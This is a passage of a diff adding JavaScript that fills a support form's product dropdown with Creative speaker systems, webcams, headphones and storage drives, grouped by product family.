+ try { addBoxItem(document.Support_Form.Product_ID, 'FM Wired Remote - Jukebox 3/Jukebox Zen/MuVo\u00B2', '115'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative NOMAD Jukebox Power Adapter', '125'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Cassette Adapter Kit', '401'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Car Kit - Jukebox 3/Jukebox 2/Jukebox Zen/MuVo\u00B2', '496'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Battery Pack', '4997'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Battery Modules - MuVo NX / TX / TX FM', '9217'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Armband - MuVo NX / TX / TX FM', '10126'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+
+ }
+ break;
+
+ case 4 : // Speaker Systems
+ switch(parseInt(famID)) {
+
+ case 113 : // 7.1 Systems
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire T7700', '5076'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 24 : // 6.1 Systems
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire 6.1 6600', '465'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 25 : // 5.1 Systems
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative Inspire 5.1 5100', '1704'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PCWorks LX520', '9412'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'I-Trigue 5600', '10736'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire T5900', '10323'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire P5800', '10596'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Desktop Theater 5.1 DTT2200', '428'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire 5.1 5700 Digital', '439'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative Inspire 5.1 Digital 5500', '990'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire 5.1 5200', '55'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative Inspire 5.1 5300', '238'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MegaWorks THX 5.1 550', '240'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Desktop Theater 5.1 DTT3500 Digital', '290'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PlayWorks DTT2500 Digital', '291'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative Inspire 5.1 5600', '1705'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire T5400', '5077'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PlayWorks PS2000 Digital', '427'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Desktop Theater 5.1', '1628'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Desktop Theater 5.1 DTT2500 Digital', '1629'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Cambridge SoundWorks MegaWorks 510D', '478'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 26 : // 4.1 Systems
+ try { addBoxItem(document.Support_Form.Product_ID, 'FPS1600', '47'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'FPS2000 Digital', '297'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire 4.1 4400', '446'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'FPS1800', '424'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PC-Works FourPointSurround FPS1000', '378'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'FPS1500', '388'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 27 : // 2.1 Systems
+ try { addBoxItem(document.Support_Form.Product_ID, 'I-Trigue 3600', '10735'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire T3000', '10329'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'I-Trigue 3400', '10733'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire G380', '9276'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative I-Trigue 3200', '10327'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PCWorks LX220', '9407'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative Inspire 2.1 Slim 2600', '434'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire 2.1 2500', '461'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'I-Trigue L3500', '4912'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'I-Trigue L3450', '4913'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire T2900', '9025'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire P380', '9026'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'SoundWorks SW320', '48'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MegaWorks THX 2.1 250D', '124'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'I-Trigue 2.1 3300', '139'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative SBS 2.1 350 Speakers', '281'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'SBS 370', '283'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PCWorks', '284'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative Inspire Slim 500', '289'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative Inspire 2.1 2400', '298'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'SoundWorks Digital', '299'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'SoundWorks SW310', '304'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'I-Trigue i3350', '279'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 28 : // 2.0 Systems
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire Monitor M85-D', '4910'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire 2.0 1300', '4918'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'SBS 230 Speakers', '4905'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'SBS52', '1'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'SBS16', '2'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Cambridge SBS20', '3'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'SBS50', '1834'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'SBS10', '1831'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative SBS15', '4906'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 29 : // Portable Systems
+ try { addBoxItem(document.Support_Form.Product_ID, 'TravelSound 200', '10164'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'TravelSound MP3', '1874'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PlayDock PD200', '31'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'TravelSound', '80'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'TravelSound i-300', '9022'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative TravelSound MP3 Titanium', '991'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 136 : // Decoders
+ try { addBoxItem(document.Support_Form.Product_ID, 'Decoder DDTS-100', '9468'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 30 : // Accessories
+ try { addBoxItem(document.Support_Form.Product_ID, 'MT-1100 Speaker Stands', '166'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Headphones HQ-1700', '11164'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Headphones HQ-1300', '4936'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Headphones HN-505', '4938'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Backphones HQ-65', '4916'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Backphones HQ-60', '4937'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Earphones EP-880', '11156'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Earphones EP-480', '11708'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Headset HE-100', '11023'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Headset HS-300', '4939'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MT-1200 Speaker Stands', '9515'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'SurroundStation', '32'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative HQ-2000 Headphones', '4'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MT-500 Speaker Tripods', '399'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire 2600 Spkr Grilles', '636'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire 5300 Spkr Grilles', '637'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire 5700 Spkr Grilles', '664'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative HQ-1000 Headphones', '4988'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+
+ }
+ break;
+
+ case 218 : // Web Cameras
+ switch(parseInt(famID)) {
+
+ case 219 : // WebCam
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam Live! Ultra for Notebooks', '11491'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam Live! Ultra', '10451'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam Live! Pro', '10450'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam Live!', '10412'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam Instant', '10410'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam NX Ultra', '9340'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam NX Pro', '628'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam NX', '627'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam PRO eX', '243'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam PRO', '616'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam Go Plus', '15'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Webcam Go ES', '1898'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam Go Mini', '1900'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam Go', '17'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Video Blaster WebCam Plus', '16'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam Notebook', '629'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam Mobile', '4890'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam 5', '1896'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam Vista Pro', '11053'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam Vista Plus', '11043'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam', '65'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam II', '4900'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam 3', '1908'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam Vista', '1907'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 220 : // PC-CAM
+ try { addBoxItem(document.Support_Form.Product_ID, 'PC-CAM 900', '10119'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PC-CAM 930 Slim', '11431'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PC-CAM 920 Slim', '10823'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PC-CAM 880', '308'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PC-CAM 750', '4878'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PC-CAM 850', '4879'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative PC-CAM 300', '49'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PC-CAM 350', '106'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PC-CAM 550', '107'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'CardCam Value', '116'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PC-CAM 600', '260'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+
+ }
+ break;
+
+ case 437 : // Headphones &amp; Headsets
+ switch(parseInt(famID)) {
+
+ case 438 : // Headphones
+ try { addBoxItem(document.Support_Form.Product_ID, 'Headphones HQ-1700', '11164'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Headphones HQ-1300', '4936'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Headphones CB2530', '11644'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 439 : // Noise-Cancelling Headphones
+ try { addBoxItem(document.Support_Form.Product_ID, 'Headphones HN-505', '4938'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 440 : // Backphones
+ try { addBoxItem(document.Support_Form.Product_ID, 'Backphones HQ-65', '4916'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Backphones HQ-60', '4937'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 441 : // Earphones
+ try { addBoxItem(document.Support_Form.Product_ID, 'Earphones EP-880', '11156'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Earphones EP-630', '11397'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Earphones EP-480', '11708'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Earphones EP-380', '11229'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 442 : // Headsets
+ try { addBoxItem(document.Support_Form.Product_ID, 'Headset HE-100', '11023'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Headset HS-300', '4939'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+
+ }
+ break;
+
+ case 9 : // Storage Devices
+ switch(parseInt(famID)) {
+
+ case 259 : // DVD±RW Drive
+ try { addBoxItem(document.Support_Form.Product_ID, 'DVD±RW Dual 8X', '9599'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'DVD±RW Dual 8x8', '10305'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'DVD+RW Dual External 8x8', '10583'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 47 : // Combo Drive
+ try { addBoxItem(document.Support_Form.Product_ID, 'Combo Drive 52.32.52x/16x', '11712'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Combo Drive 40-12-40/16', '4998'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Combo Drive NS', '9454'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 46 : // CD-RW Drive
+ try { addBoxItem(document.Support_Form.Product_ID, 'CD-RW External 52-32-52x', '9481'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'CD-RW Blaster 12-10-32', '8'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'CD-RW 52.24.52', '1590'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'CD-RW Blaster 24-10-40 External', '4944'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'CD-RW External 52-24-52x', '9027'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'CD-RW 52-32-52x', '9453'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'CD-RW Blaster 48-12-48 External', '9020'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'CD-RW Blaster 48-12-48', '4941'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 45 : // PC-DVD Drive
+ try { addBoxItem(document.Support_Form.Product_ID, 'PC-DVD Encore 12x', '6'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PC-DVD ROM 12x', '1486'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PC-DVD DVD-ROM 16x', '1490'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PC-DVD MPEG-1 Decoder Board', '1801'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 44 : // CD-ROM Drive
+ try { addBoxItem(document.Support_Form.Product_ID, 'CD-ROM Blaster Digital iR52X', '3562'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'CD-ROM Blaster 52X', '11'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '12x CD-ROM Drives', '1485'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '16x CD-ROM Drives', '1489'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '48x CD-ROM Drives', '1548'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '1x & 2x CD-ROM Drives', '1493'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '24x CD-ROM Drives', '1495'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '2x & 3x CD-ROM (SCSI)', '1496'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '32x CD-ROM Drives', '1498'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '36x CD-ROM Drives', '1499'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '40x CD-Rom Drives', '1547'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '4x CD-ROM Drives', '1549'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '6x CD-ROM Drives', '1552'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '8x CD-ROM Drives', '1554'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 49 : // Portable Harddisk
+ try { addBoxItem(document.Support_Form.Product_ID, 'Storage Blaster Portable Harddisk', '8996'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 265 : // Portable Storage
